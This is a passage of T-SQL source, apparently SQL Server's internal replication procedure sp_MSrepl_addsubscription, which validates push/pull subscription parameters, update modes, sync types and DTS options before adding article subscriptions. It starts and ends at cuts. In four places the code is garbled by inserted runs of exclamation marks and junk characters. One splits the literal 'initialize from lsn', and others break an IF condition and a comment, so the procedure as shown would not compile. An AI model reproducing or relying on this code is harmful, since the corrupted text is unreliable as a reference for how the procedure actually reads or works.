    -- Backup device specification for @sync_method = 'autonosync with backup'
    @backupdevicetype			nvarchar(20) = 'logical',
    @backupdevicename			nvarchar(1000) = null,
    @mediapassword			sysname = null,
    @password				sysname = null,
    @fileidhint				int = null,
    @unload				bit = 1,
    -- No-sync subscription LSN for @sync_method = 'autonosync with lsn'
    @subscriptionlsn			binary(10) = null
    ,@publisher_type			sysname
    -- expose -SubscriptionStreams functionality
    ,@subscriptionstreams tinyint	= null -- value provided should fall between 1 and 64
    ,@subscriber_type			tinyint = 0  -- defaults of SQL Server
)
AS
BEGIN

    SET NOCOUNT ON

    /*
    ** Declarations.
    */

    DECLARE @retcode int
	DECLARE @pubid int
    DECLARE @artid int
    DECLARE @pre_creation_cmd tinyint
    DECLARE @none tinyint
    DECLARE @automatic tinyint
    DECLARE @inactive tinyint
    DECLARE @active tinyint
    DECLARE @subscribed tinyint
    DECLARE @manual tinyint
    DECLARE @srvid smallint
    DECLARE @subscriber_bit smallint
    DECLARE @sync_typeid tinyint
    DECLARE @non_sql_flag bit
    DECLARE @truncate tinyint
    DECLARE @sync_method tinyint
    DECLARE @char_bcp tinyint
    DECLARE @concurrent tinyint
    DECLARE @concurrent_char tinyint
    DECLARE @database_snapshot tinyint
    DECLARE @database_snapshot_character tinyint
    DECLARE @internal nvarchar(10)
	DECLARE @nosync nvarchar(10)
    DECLARE @status_id tinyint
    DECLARE @virtual_id smallint
    DECLARE @subscription_type_id int /* 0 push, 1 pull */
    DECLARE @immediate_sync bit    /* publication type */
    DECLARE @count_subs int
    DECLARE @count_arts int
    DECLARE @distribution_jobid binary(16)
    DECLARE @pubstatus tinyint
    DECLARE @allow_anonymous bit
    DECLARE @immediate_sync_ready bit
    declare @loopback_detection_id bit
    declare @independent_agent_id bit
    DECLARE @platform_nt binary
            ,@artsrctabid int
            ,@distributor sysname
            ,@distribdb sysname

    DECLARE @dsn_dbname sysname
    DECLARE @dts_package_enc_password nvarchar(524)
    
    -- SyncTran
    DECLARE @allow_sync_tran_id bit
    DECLARE @allow_queued_tran_id bit
    DECLARE @update_mode_id     tinyint -- 0 = read only, 1 = sync tran, 2 = queued tran, 3 = failover
                                        -- 4 = sqlqueued tran, 5 = sqlqueued failover, 6 = sqlqueued qfailover, 7 = qfailover
    DECLARE @publication_queue_type int 
    -- end SyncTran
    
    -- Heterogeneous subscriptions
    DECLARE @enabled_for_het_sub bit
	DECLARE @OPT_ENABLED_FOR_HET_SUB int
	SELECT @OPT_ENABLED_FOR_HET_SUB = 0x4

	DECLARE @OPT_ENABLED_FOR_P2P int
	SELECT @OPT_ENABLED_FOR_P2P = 0x1
	
    -- Heterogeneous publishers
    DECLARE @publisher_local sysname
					,@publisher_db sysname
					
    DECLARE @distproc nvarchar(1000)
	        
	set @publisher_db = DB_NAME()

	-- Parameter check: @update_mode
	-- HREPL: Reject non-read-only
	IF NOT @publisher_type = N'MSSQLSERVER' AND NOT @update_mode = 'read only'
	BEGIN
        RAISERROR (21634, 16, -1, '@update_mode', @update_mode, '''read only'' or NULL')
        RETURN (1)
	END

	/*
    ** Parameter Check: @subscription_type
    ** Valid values:
    ** push
    ** pull
    **
    */

    IF LOWER(@subscription_type collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('push', 'pull')
        BEGIN
            RAISERROR (14128, 16, -1)    
            RETURN (1)
        END

    IF LOWER(@subscription_type collate SQL_Latin1_General_CP1_CS_AS) = 'push'
    BEGIN
        SELECT @subscription_type_id = 0
    END
    ELSE
    BEGIN
        SELECT @subscription_type_id = 1
    END
	
    /*
    ** Security Check.
    */

    IF @subscription_type_id = 0 
    BEGIN
        exec @retcode = sys.sp_MSreplcheck_publish
        if @@ERROR <> 0 or @retcode <> 0
            return(1)
    END
    ELSE
    BEGIN
        exec @retcode = sys.sp_MSreplcheck_pull	@publication = @publication,
        										@publisher	 = @publisher

        if @@ERROR <> 0 or @retcode <> 0
            return(1)
    END
    
	-- With the new security model a number of parameters are invalid
	IF sys.fn_yukonsecuritymodelrequired(NULL) = 1
	BEGIN
		IF @frequency_type IS NOT NULL
			OR @frequency_interval IS NOT NULL
			OR @frequency_relative_interval IS NOT NULL
			OR @frequency_recurrence_factor IS NOT NULL
			OR @frequency_subday IS NOT NULL
			OR @frequency_subday_interval IS NOT NULL
			OR @active_start_time_of_day IS NOT NULL
			OR @active_end_time_of_day IS NOT NULL
			OR @active_start_date IS NOT NULL
			OR @active_end_date IS NOT NULL
			OR @optional_command_line IS NOT NULL
			OR @enabled_for_syncmgr IS NOT NULL
			OR @dts_package_name IS NOT NULL
			OR @dts_package_password IS NOT NULL
			OR @dts_package_location IS NOT NULL
			OR @distribution_job_name IS NOT NULL
		BEGIN
			-- "The %s parameter(s) have been deprecated from this procedure. The value(s) should now be specified when calling '%s'."
			RAISERROR(21838, 10, -1, 'scheduling, optional command line, sync manager, dts and distribution job name', 'sp_addpushsubscription_agent'' or ''sp_addpullsubscription_agent')

			SELECT @frequency_type = NULL,
					@frequency_interval = NULL,
					@frequency_relative_interval = NULL,
					@frequency_recurrence_factor = NULL,
					@frequency_subday = NULL,
					@frequency_subday_interval = NULL,
					@active_start_time_of_day = NULL,
					@active_end_time_of_day = NULL,
					@active_start_date = NULL,
					@active_end_date = NULL,
					@optional_command_line = NULL,
					@enabled_for_syncmgr = NULL,
					@dts_package_name = NULL,
					@dts_package_password = NULL,
					@dts_package_location = NULL,
					@distribution_job_name = NULL
		END
	END
	ELSE
	BEGIN
		-- Set the original default values for the 8.0 model
		SELECT @enabled_for_syncmgr = ISNULL(@enabled_for_syncmgr , 'false'),
					@dts_package_location = ISNULL(@dts_package_location, N'distributor')
	
	!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(Etk:^vG	-- Parameter check: @enabled_for_syncmgr
		-- HREPL: not supported
		select @enabled_for_syncmgr = isnull(lower(@enabled_for_syncmgr), 'false')
		IF @publisher_type = N'MSSQLSERVER'
		BEGIN
			IF @enabled_for_syncmgr not in ('true', 'false')
			BEGIN
				-- Invalid '@enabled_for_syncmgr' value. Valid values are 'true' or 'false'.
				RAISERROR (14148, 16, -1, '@enabled_for_syncmgr')
				RETURN (1)
			END
		END
		ELSE
		BEGIN
			IF @enabled_for_syncmgr = 'true'
			BEGIN
		        RAISERROR (21632, 16, -1, '@enabled_for_syncmgr', '''false'' or NULL')
		        RETURN (1)
			END
		END
	END
	
    -- Check to see if database is activated for publication
    IF sys.fn_MSrepl_istranpublished(DB_NAME(),1) <> 1
    BEGIN
        RAISERROR (14013, 16, -1)
        RETURN (1)
    END

    /*
    ** Initializations.
    */

    SELECT @none = 2            /* Const: synchronization type 'none' */
    SELECT @automatic = 1       /* Const: synchronization type 'automatic' */
    SELECT @manual = 0          /* Const: synchronization type 'manual' */
    SELECT @inactive = 0        /* Const: subscription status 'inactive' */
    SELECT @subscribed = 1        /* Const: subscription status 'subscribed' */
    SELECT @active = 2        /* Const: subscription status 'arctive' */
    SELECT @subscriber_bit = 4  /* Const: subscription server status */
    SELECT @truncate = 3    /* Const: truncate pre-creation command */
    SELECT @char_bcp = 1    /* Const: character bcp sync method */
    SELECT @concurrent = 3  /* Const: concurrent sync method */
    SELECT @concurrent_char = 4  /* Const: concurrent char mode sync method */
    SELECT @database_snapshot = 5 /* Const: database snapshot native sync method */
    SELECT @database_snapshot_character = 6 /* Const: database snapshot character sync method */
    SELECT @virtual_id = -1 /* Const: virtual subscriber id */
    SELECT @internal = 'internal' /* Const: Flag of calling internally from system */
    SELECT @nosync = N'nosync'
                                  /* stored procedures     */
    
    -- Change it  in 7.5 to avoid confusion, expecially in ole db case
    -- SELECT @dsn_dbname = 'DSN'
    SELECT @dsn_dbname = formatmessage(20586)
    SELECT @platform_nt = 0x1

    -- If sync_method is one of the new autonosync types, re-route the call
    -- immediately to sp_MSaddautonosyncsubscription. Since sp_addsubscription
    -- will be called again inside sp_MSaddautonosyncsubscription with 
    -- @sync_method = 'none', there is no need to waste any time doing 
    -- parameter validation here.
    select @sync_type = lower(@sync_type collate SQL_Latin1_General_CP1_CS_AS)
    
    -- HREPL only supports automatic, replication support only, or none for sync_type at this time
    IF	@publisher_type != N'MSSQLSERVER' AND
		@sync_type IN (	N'initialize with backup',
						N'initialize from lsn')
    BEGIN
    	DECLARE @err nvarchar(4000)
    	SELECT @err = '@sync_type value of ''' + @sync_type + ''''
    	RAISERROR (21632, 16, -1, @err, '''automatic'', ''replication support only'', or ''none''')
    	RETURN (1)
    END
    
    -- Heterogeneous subscribers only support automatic, replication support only, or none for sync_type at this time
    IF	@subscriber_type != 0 AND
		@sync_type IN (	N'initialize with backup',
						N'initialize from lsn')
    BEGIN
    	RAISERROR (21644, 16, -1, '@sync_type', @sync_type, '''automatic'', ''replication support only'', or ''none''')
    	RETURN (1)
    END

	/*
	** Parameter Check: @offloadagent.
	*/
	IF @offloadagent IS NOT NULL
		AND @offloadagent != 0
	BEGIN
		-- "Parameter '@offloadagent' is no longer supported."
		RAISERROR(21698, 16, -1, '@offloadagent')
		RETURN 1
	END

	IF ISNULL(@offloadserver, N'') != N''
	BEGIN
		-- "Parameter '@offloadserver' is no longer supported."
		RAISERROR(21698, 16, -1, '@offloadserver')
		RETURN 1
	END

	/*
    ** If @publisher is NULL, set @publisher_local to publishingservername()
    ** otherwise, set @publisher_local to @publisher
    */
    IF @publisher IS NULL
    BEGIN
        select @publisher_local = publishingservername()
    END 
    ELSE
    BEGIN
        select @publisher_local = @publisher
    END 
    /*
    ** Parameter Check: @publication.
    ** Check to make sure that the publication exists and that it conforms
    ** to the rules for identifiers.
    ** set subscription_type for the publication
    */


	-- Get publication id
	SELECT @pubid = sys.fn_MSrepl_getpubid(@publication, @publisher, @publisher_type)


    IF (@pubid IS NULL)
	BEGIN
		RAISERROR (20026, 11, -1, @publication)
		RETURN (1)
	END
	
	declare @allow_dts bit,
			@options int

	SELECT	@sync_method			= sync_method, 
			@immediate_sync			= immediate_sync,
			@pubstatus				= status, 
			@allow_anonymous		= allow_anonymous, 
			@immediate_sync_ready	= immediate_sync_ready,
			@allow_sync_tran_id		= allow_sync_tran,
			@allow_queued_tran_id	= allow_queued_tran,
			@independent_agent_id	= independent_agent,
			@allow_dts				= allow_dts,
			@publication_queue_type	= queue_type,
			@options				= options
	FROM	syspublications
	WHERE	pubid = @pubid

    select @srvid = srvid from master.dbo.sysservers where UPPER(srvname collate database_default)=UPPER(@subscriber) collate database_default

	-- Only perform the following when not called internally
	-- 		Add Subscriber
	-- 		AND
	-- 		PeerToPeer specific checks
	IF @reserved IS NULL
	BEGIN	
		-- the first call to sp_addsubscription we will 
		-- will attempt to add the subscriber first ...
		IF @@TRANCOUNT != 0
		BEGIN
			-- The procedure 'sp_addsubscription' cannot be executed within a transaction.
			RAISERROR(15002, 16, -1, 'sp_addsubscription')
			RETURN 1
		END
		
		EXEC @retcode = sys.sp_MSrepl_addsubscriber @subscriber 						= @subscriber,
														@type 							= @subscriber_type,
														@login 							= NULL,
														@password						= NULL,
														@commit_batch_size				= NULL,
														@status_batch_size				= NULL,
														@flush_frequency				= NULL,
														@frequency_type					= NULL,
														@frequency_interval				= NULL,
														@frequency_relative_interval	= NULL,
														@frequency_recurrence_factor	= NULL,
														@frequency_subday				= NULL,
														@frequency_subday_interval		= NULL,
														@active_start_time_of_day		= NULL,
														@active_end_time_of_day			= NULL,
														@active_start_date				= NULL,
														@active_end_date				= NULL,
														@description					= NULL,
														@security_mode					= NULL,
														@encrypted_password				= NULL,
														@publisher						= @publisher_local,
														@publisher_type					= @publisher_type,
														@internal						= N'YUKON'
		IF @@ERROR <> 0 OR @retcode <> 0		
			RETURN 1

		-- PeerToPeer specific checks
		IF (@options & @OPT_ENABLED_FOR_P2P) = @OPT_ENABLED_FOR_P2P
		BEGIN
			-- only allow full subscriptions 
			IF ISNULL(LOWER(@article), N'') != N'all'
			BEGIN
				-- Peer-To-Peer publications only support an @article parameter value of 'all'.
				RAISERROR (21679, 16, -1, '@article', '''all''')
				RETURN (1)
			END

			-- verify it's a valid sync_type for P2P
			IF @sync_type NOT IN (N'replication support only',
									N'initialize with backup',
	                      			N'initialize from lsn')
			BEGIN
				-- Peer-To-Peer publications only support an @sync_type parameter value of 'replication support only', 'initialize with backup' or 'initialize from lsn'.
				RAISERROR (21679, 16, -1, '@sync_type', '''replication support only'', ''initialize with backup'' or ''initialize from lsn''')
				RETURN (1)
			END
		END
	END
	
    IF @sync_type in (N'replication support only', 
                      N'initialize with backup',
                      N'initialize f!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(EkLvGrom lsn') 
    BEGIN
        exec @retcode = sys.sp_MSaddautonosyncsubscription	@publication					= @publication,
															@article						= @article,
															@subscriber						= @subscriber,
															@destination_db					= @destination_db,
															@sync_type						= @sync_type,
															@status							= @status,
															@subscription_type				= @subscription_type,
															@update_mode					= @update_mode,
															@loopback_detection				= @loopback_detection,
															@frequency_type					= @frequency_type,
															@frequency_interval				= @frequency_interval,
															@frequency_relative_interval	= @frequency_relative_interval,
															@frequency_recurrence_factor	= @frequency_recurrence_factor,
															@frequency_subday				= @frequency_subday,
															@frequency_subday_interval		= @frequency_subday_interval,
															@active_start_time_of_day		= @active_start_time_of_day,
															@active_end_time_of_day			= @active_end_time_of_day,
															@active_start_date				= @active_start_date,
															@active_end_date				= @active_end_date,
															@optional_command_line			= @optional_command_line,
															@reserved						= @reserved,
															@enabled_for_syncmgr			= @enabled_for_syncmgr,
															@dts_package_name				= @dts_package_name,
															@dts_package_password			= @dts_package_password,
															@dts_package_location			= @dts_package_location,
															@distribution_job_name			= @distribution_job_name,
															-- Backup lsn extraction parameters
															@backupdevicetype				= @backupdevicetype,
															@backupdevicename				= @backupdevicename,
															@mediapassword					= @mediapassword,
															@password						= @password,
															@fileidhint						= @fileidhint,
															@unload							= @unload,
															-- Explicitly specified lsn of the subscription
															@subscriptionlsn				= @subscriptionlsn,
															@publisher						= @publisher,
															@publisher_type					= @publisher_type
															,@subscriptionstreams	= @subscriptionstreams
															,@subscriber_type		= @subscriber_type
		IF @@error <> 0
		BEGIN
			SELECT @retcode = 1
		END
		
        RETURN @retcode 
    END
    
    IF EXISTS (select name from sys.objects where name='sysmergesubscriptions')
	BEGIN
		IF EXISTS
			(
				select	name
				from	sysextendedarticlesview
				where	pubid=@pubid
				  and	objid in 
				  		(
				  			select	objid
				  			from	sysmergeextendedarticlesview
				  			where	pubid in
									(
				  						select	pubid
				  						from	sysmergesubscriptions
				  						where	db_name = @destination_db
				  						  and	UPPER(subscriber_server) collate database_default = UPPER(@subscriber) collate database_default
									)
						)
			)
		BEGIN
			RAISERROR(21281, 16, -1, @publication, @destination_db)
			RETURN (1)
		END
	END


    IF @pubid IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@pubid', 'sp_MSrepl_addsubscription')
            RETURN (1)
        END

    /* 
    ** If publication is of concurrent sync, then all articles must
    ** be subscribed to
    */
    IF @sync_method IN( @concurrent, @concurrent_char) AND
       LOWER(@article) != 'all' AND
       @reserved NOT IN (@internal, @nosync)
    BEGIN
        RAISERROR( 14100, 16, -1 )
        RETURN (1)
    END

    /* 
    ** Check to see if the desired subscription type is allowed
    */
    /* 
    ** push 
    ** Virtual subscriptions are always push type
    */
    IF @subscription_type_id = 0 AND @subscriber IS NOT NULL
    BEGIN
        IF NOT EXISTS (SELECT * from syspublications where
            allow_push = 1 AND
            pubid = @pubid)
        BEGIN
            RAISERROR (20012, 16, -1, @subscription_type, @publication)    
            RETURN (1)
        END
    END
        
    /* pull */
    IF @subscription_type_id = 1 AND @subscriber IS NOT NULL
    BEGIN
        IF NOT EXISTS (SELECT * from syspublications where
            allow_pull = 1 AND
            pubid = @pubid)
        BEGIN
            RAISERROR (20012, 16, -1, @subscription_type, @publication)    
            RETURN (1)
        END
    END

 	/*
    ** Parameter Check: @subscriber.
    **
    ** Check if the server exists and that it is a subscription server.
    **
    ** @subscriber is NULL represent virtual subscription, which is not allowed
    ** in following case:
    ** 1. Non-immediate-sync publication
    ** 2. the stored procedure is not in the internal usage mode 
    **        (called by system stored procedures)
    ** 3. non push mode
    ** 
    */

    IF  @subscriber IS NULL AND (
        @immediate_sync = 0 OR
        @subscription_type_id <> 0 OR
        @reserved NOT IN (@internal, @nosync))
        BEGIN
            RAISERROR (14043, 16, -1, '@subscriber', 'sp_MSrepl_addsubscription')
            RETURN (1)
        END

--initialize this to 0, for virtual servers, it will stay 0, for non-hetero ones if there isn't 
--server entry in master..sysservers, this flag should stay 0 as well, 
  select @non_sql_flag = 0
  IF @subscriber IS NULL
        BEGIN
        /* set virtual subscriber ID */
            SELECT @srvid = @virtual_id 
        END
    ELSE
        BEGIN
            /* validate name and get subscriber ID  and server status  */
            EXECUTE @retcode = sys.sp_validname @subscriber

            IF @retcode <> 0
            RETURN (1)

            select @srvid = null
            SELECT @srvid = srvid, @non_sql_flag = nonsqlsub
              FROM master.dbo.sysservers
             WHERE UPPER(srvname collate database_default) = UPPER(@subscriber) collate database_default

			IF @srvid IS NULL
			BEGIN
				--we used to raise 14010 if subscriber is not found
				--removed it now since we try to depend on the subscriber entry in master.dbo.syservers less
				--set @non_sql_flag here so syssubscriptions will have the right value
				IF @subscriber_type > 0
				BEGIN
					select @non_sql_flag = 1
				END
			END
        END

    /*
    ** Parameter Check: @destination_db.
    */
    IF @destination_db IS not NULL
    begin
        --
        -- @destination_db cannot be all. 
        -- @destination_db cannot be master. 
        -- Make sure that the @destination_db conforms to the rules for identifiers.
        --
        if LOWER(@destination_db) = 'all'
        BEGIN
            RAISERROR (14032, 16, -1, '@destination_db')
            RETURN (1)
        END

        if LOWER(@destination_db) = 'master'
        BEGIN
            RAISERROR (21481, 16, 1)
            RETURN (1)
        END
        
        EXECUTE @retcode = sys.sp_validname @destination_db
        IF @retcode <> 0
        RETURN (1)
    end

	-- Parameter check: @destination_db
	-- HREPL: required for SQL subscribers
	IF NOT @publisher_type = N'MSSQLSERVER' AND @destination_db IS NULL AND @non_sql_flag = 0
	BEGIN
        RAISERROR (21637, 16, -1, '@destination_db')
        RETURN (1)
	END

    /*
    ** Parameter Check:  @article
    */

    /* @article can not be null     */
    IF @article IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@article', 'sp_MSrepl_addsubscription')
            RETURN (1)
        END
	
	-- If the subscriber type is not SQL Server, the publication must be
	-- enabled for heterogeneous subscriptions
	IF @subscriber_type <> 0 
	   AND (NOT ((@options & @OPT_ENABLED_FOR_HET_SUB) = @OPT_ENABLED_FOR_HET_SUB))
	BEGIN
		-- Unable to add a heterogeneous subscription to the publication.  The publication is not enabled for heterogeneous subscriptions.
		RAISERROR (20615, 16, -1)
		RETURN (1)
	END

    --
    -- Parameter check: @update_mode
    --
    IF !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(E3vG@update_mode IS NULL OR LOWER(@update_mode collate SQL_Latin1_General_CP1_CS_AS) NOT IN 
            ('read only', 'sync tran', 'queued tran', 'failover', 'queued failover')
    BEGIN
        RAISERROR (20502, 16, -1, '@update_mode')
        RETURN (1)
    END
    -- set @update_mode_id
    IF (LOWER(@update_mode collate SQL_Latin1_General_CP1_CS_AS) = 'sync tran') 
    BEGIN
        -- Immediate updating subscription 
        -- 1 = synctran
        SELECT @update_mode_id = 1
        -- Check if publication allows this option
        IF @allow_sync_tran_id <> 1
        BEGIN
            RAISERROR (20503, 16, -1, '@update_mode', 'sp_addsubscription','sync tran')
            RETURN (1)
        END
    END
    ELSE IF (LOWER(@update_mode collate SQL_Latin1_General_CP1_CS_AS) = 'queued tran')
    BEGIN       
        -- Queued updating subscription 
        -- 2 = queued, 4 = sqlqueued
        SELECT @update_mode_id = case 
            when (@publication_queue_type = 2) then 4
            else 2 end
        -- Check if publication allows this option
        -- If the publication allow synctran, it allows queued tran.
        IF @allow_queued_tran_id <> 1
        BEGIN
            RAISERROR (20503, 16, -1, '@update_mode', 'sp_addsubscription', 'queued tran')
            RETURN (1)
        END
    END
    ELSE IF (LOWER(@update_mode collate SQL_Latin1_General_CP1_CS_AS) = 'failover')
    BEGIN
        -- Failover subscription with initial state as Immediate
        -- 3 = failover, 5 = sqlqueued failover
        SELECT @update_mode_id = case
            when (@publication_queue_type = 2) then 5
            else 3 end
        -- Check if publication allows this option
        IF @allow_sync_tran_id <> 1
        BEGIN
            RAISERROR (20503, 16, -1, '@update_mode', 'sp_addsubscription', 'sync tran')
            RETURN (1)
        END
        -- Check if publication allows this option
        IF @allow_queued_tran_id <> 1
        BEGIN
            RAISERROR (20503, 16, -1, '@update_mode', 'sp_addsubscription','queued tran')
            RETURN (1)
        END
    END
    ELSE IF (LOWER(@update_mode collate SQL_Latin1_General_CP1_CS_AS) = 'queued failover')
    BEGIN
        -- Failover subscription with initial state as Queued
        -- 6 = sqlqueued qfailover, 7 = qfailover
        SELECT @update_mode_id = case
            when (@publication_queue_type = 2) then 6
            else 7 end
        -- Check if publication allows this option
        IF @allow_sync_tran_id <> 1
        BEGIN
            RAISERROR (20503, 16, -1, '@update_mode', 'sp_addsubscription', 'sync tran')
            RETURN (1)
        END
        -- Check if publication allows this option
        IF @allow_queued_tran_id <> 1
        BEGIN
            RAISERROR (20503, 16, -1, '@update_mode', 'sp_addsubscription','queued tran')
            RETURN (1)
        END
    END
    ELSE 
    BEGIN
        -- Read only subscription
        SELECT @update_mode_id = 0
    END

	IF sys.fn_yukonsecuritymodelrequired(NULL) = 0
	BEGIN	
	    --
	    -- Parameter Check: @dts_package_location
	    -- Valid values:
	    -- distributor
	    -- subscriber
	    --
	    --
	    IF LOWER(@dts_package_location collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('distributor', 'subscriber')
	    BEGIN
	        RAISERROR(21179, 16, -1)    
	        RETURN (1)
	    END

	    declare @dts_package_location_id int

	    IF LOWER(@dts_package_location collate SQL_Latin1_General_CP1_CS_AS) = 'distributor'
	        SELECT @dts_package_location_id = 0
	    ELSE 
	        SELECT @dts_package_location_id = 1

	    -- @dts_package_password cannot be non-null if @dts_package_name is not set
	    if (@dts_package_name is null or rtrim(@dts_package_name) = N'') and
	        @dts_package_password is not null
	    begin
	        raiserror(18780, 16, -1)
	        return (1)
	    end

	    -- Have to be a push, non updatable  subscription to set DTS package name
	    if @dts_package_name is not null
	    begin
	        if  @subscription_type_id != 0
	        begin
	            RAISERROR(21181, 16, -1)    
	            RETURN (1)
	        end
	        if  @allow_dts = 0
	        begin
	            RAISERROR(21178, 16, -1)    
	            RETURN (1)
	        end
	    end
	END
	ELSE
	BEGIN
		SELECT @dts_package_location_id = 0
	END
	
    /** For immediate_sync publication, @article has to be 'all'     */
    IF @reserved NOT IN (@internal, @nosync) 
    	AND @immediate_sync = 1
        AND NOT LOWER(@article) = 'all'
    BEGIN
        RAISERROR (14122, 16, -1)
        RETURN (1)
    END

    /* 
    ** For full subscription, check to see if  subscriptions
    ** to ALL the articles exist before expanding parameter @article.
    **
    */
    IF LOWER(@article) = 'all' 
    	AND @reserved NOT IN (@internal, @nosync) 
    	AND EXISTS (SELECT * FROM syspublications WHERE pubid = @pubid)
    BEGIN
        SELECT @count_arts = count(*) FROM sysextendedarticlesview art
            WHERE art.pubid = @pubid 

        if @count_arts = 0
        BEGIN
            RAISERROR (14124, 16, -1)
            RETURN(1)
        END

        SELECT @count_subs = count(*) FROM syssubscriptions sub, 
                  sysextendedarticlesview art
            WHERE sub.srvname = UPPER(@subscriber) 
              AND sub.srvid >= 0
              AND ((@destination_db = N'%') OR (sub.dest_db = @destination_db))
              AND sub.artid = art.artid
              AND art.pubid = @pubid

        IF @count_arts = @count_subs
        BEGIN
              RAISERROR (14058, 16, -1)
              RETURN (1)
        END
    END

    /* 
    ** Real subscription to inactive publicaton is not allowed
    ** Note, subscriptions to the new article will be added automatically
    ** for immediate_sync publications. At that time, the publication may not
    ** be active.
    */

    IF  @srvid <> @virtual_id 
    	AND @pubstatus = 0 
   		AND @reserved NOT IN (@internal, @nosync)
    BEGIN
        RAISERROR (21000, 16, -1)
        RETURN (1)
    END

	IF sys.fn_yukonsecuritymodelrequired(NULL) = 0
	BEGIN	
	    -- If the publication is 'allow_dts', push subscription has to specify a DTS package.
	    -- Error check that disallow ODBC subscriber to subscriber with DTS package
	    -- is at the distributor.
	    -- Show dts error first, otherwise user will get 21060 below which is confusing
	    IF @allow_dts <> 0 
	    	and @dts_package_name is null 
	    	and @subscriber IS not NULL 
	    	and @reserved NOT IN (@internal, @nosync) 
	    	and @subscription_type_id = 0
	    begin
	        raiserror(21213, 16, -1)
	        return(1)
	    end
	END
	
    /* 
    ** Do special things for DSN subscribers.
    */
    IF @subscriber IS NOT NULL AND @non_sql_flag <> 0
    BEGIN
        -- DSN or oledb subscriber not using DTS 
        -- cannot subscribe to native mode or concurrent snapshot publication
        IF @sync_method NOT IN (@char_bcp, @concurrent_char, @database_snapshot_character) and @dts_package_name is null and @publisher_type = N'MSSQLSERVER'
        BEGIN
            RAISERROR (14095, 16, -1, @publication, @subscriber)
            RETURN (1)
        END
        
        IF @sync_method NOT IN (@char_bcp, @concurrent_char, @database_snapshot_character) AND @publisher_type != N'MSSQLSERVER'
        BEGIN
        	RAISERROR (21676, 16, -1, @subscriber, @publication)
        	RETURN (1)
        END

        -- DSN subscriber cannot subscribe with 'Sync Update'
        IF @update_mode_id <> 0
        BEGIN
            RAISERROR (21032, 16, -1, @subscriber)
            RETURN (1)
        END
    END

    -- DNS may define db.  If no db given, specify that DSN default should be used.
    -- use internal values
    if @subscriber IS NOT NULL and @destination_db is NULL
    begin
   !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(ElAovG     IF @non_sql_flag <> 0 
            SELECT @destination_db = @dsn_dbname
        else
            SELECT @destination_db = DB_NAME()
        --
        -- @destination_db cannot be master
        --
        if LOWER(@destination_db) = 'master'
        BEGIN
            RAISERROR (21481, 16, 1)
            RETURN (1)
        END
    end

    -- if we're subscribing to a dump type publication, error
    -- out if this subscriber has any other subscriptions to publications
    -- other than this one

    IF @sync_method = 2
    BEGIN
        IF EXISTS( SELECT * FROM syssubscriptions sub, sysextendedarticlesview art
                WHERE sub.srvname = UPPER(@subscriber) 
                  AND sub.srvid >= 0
                  AND ((@destination_db = N'%') OR (sub.dest_db = @destination_db))
                  AND sub.artid = art.artid
                  AND art.pubid != @pubid )
        BEGIN
            RAISERROR(21144, 16, -1)
            RETURN 1
        END
    END

    -- else if we're subscribing to a char or native mode publication, 
    -- error out if the subscriber is subscribed to any dump type publications
    ELSE
    BEGIN
        IF EXISTS
        (
        	SELECT	*
        	FROM	syssubscriptions sub,
        			sysextendedarticlesview art,
        			syspublications pub
			WHERE	 sub.srvname = UPPER(@subscriber) 
			  AND	sub.srvid		>= 0
			  AND	sub.dest_db 		 = @destination_db
			  AND	sub.artid		 = art.artid
			  AND	art.pubid		!= @pubid
			  AND	pub.pubid		 = art.pubid
			  AND	pub.sync_method	 = 2
		)
        BEGIN
            RAISERROR(21145, 16, -1, @publication )
            RETURN 1
        END
    END


    IF LOWER(@article) = 'all' 
    /*
    ** Get all articles in the publication that are not subscribed to
    ** by the @subscriber
    */
    BEGIN
            /*
            ** Make the operation atomic. This is to prevent multiple subscription_type
            ** from one subscriber on an immediate_sync publication
            */
            BEGIN TRAN

            IF @publisher IS NULL
            BEGIN        
                DECLARE hCx CURSOR LOCAL FAST_FORWARD FOR
                SELECT DISTINCT a.name
                FROM	sysextendedarticlesview a,
                		syspublications b  
                WHERE	a.pubid = b.pubid 
				  AND	b.pubid = @pubid
                  AND	NOT EXISTS
                  		(
                  			SELECT	*
                  			FROM	syssubscriptions s 
                    		WHERE	s.artid = a.artid
                    		  AND	s.status <> 0
                    		  AND	(@subscriber IS NULL and s.srvid = @srvid or (@subscriber IS not NULL) and s.srvname = UPPER(@subscriber)) 
                    		  AND	s.dest_db = @destination_db
                    	)
                FOR READ ONLY
            END
            ELSE -- is this hpub? otherwise how can we have syspublications and MSpublications in the same db
            BEGIN
                DECLARE hCx CURSOR LOCAL FAST_FORWARD FOR
                SELECT DISTINCT a.name
                FROM	sysextendedarticlesview a,
                		syspublications b,
                		MSpublications m,
                		master.dbo.sysservers n  
                WHERE	a.pubid = b.pubid 
				  AND	m.publication_id = a.pubid
				  AND	m.publisher_id = n.srvid
				  AND	UPPER(n.srvname collate database_default) = UPPER(@publisher) collate database_default
				  AND	b.pubid = @pubid
                  AND	NOT EXISTS
                  		(
                  			SELECT	*
                  			FROM	syssubscriptions s,
                  					MSarticles m,
                  					master.dbo.sysservers n 
                    		WHERE	s.artid = a.artid
                    		  AND	s.status <> 0
                    		  AND	s.srvid = @srvid
                    		  AND	s.dest_db = @destination_db
                    		  AND	m.article_id = s.artid
                    		  AND	m.publisher_id = n.srvid
							  AND	UPPER(n.srvname collate database_default) = UPPER(@publisher) collate database_default
						)
                FOR READ ONLY       
            END
                
            OPEN hCx
            FETCH hCx INTO @article

            WHILE (@@fetch_status <> -1)
			BEGIN
				EXECUTE @retcode = sys.sp_MSrepl_addsubscription_article
                                @publication       = @publication,
                                @article        = @article,
                                @subscriber     = @subscriber,
                                @destination_db = @destination_db,
                                @sync_type      = @sync_type,
                                @status         = @status,
                                @subscription_type = @subscription_type,
                                @reserved       = @internal,
                                @update_mode    = @update_mode,      
                                @loopback_detection = @loopback_detection,
                                @frequency_type  = @frequency_type,
                                @frequency_interval  = @frequency_interval,
                                @frequency_relative_interval  = @frequency_relative_interval,
                                @frequency_recurrence_factor  = @frequency_recurrence_factor,
                                @frequency_subday  = @frequency_subday,
                                @frequency_subday_interval  = @frequency_subday_interval,
                                @active_start_time_of_day  = @active_start_time_of_day,
                                @active_end_time_of_day  = @active_end_time_of_day,
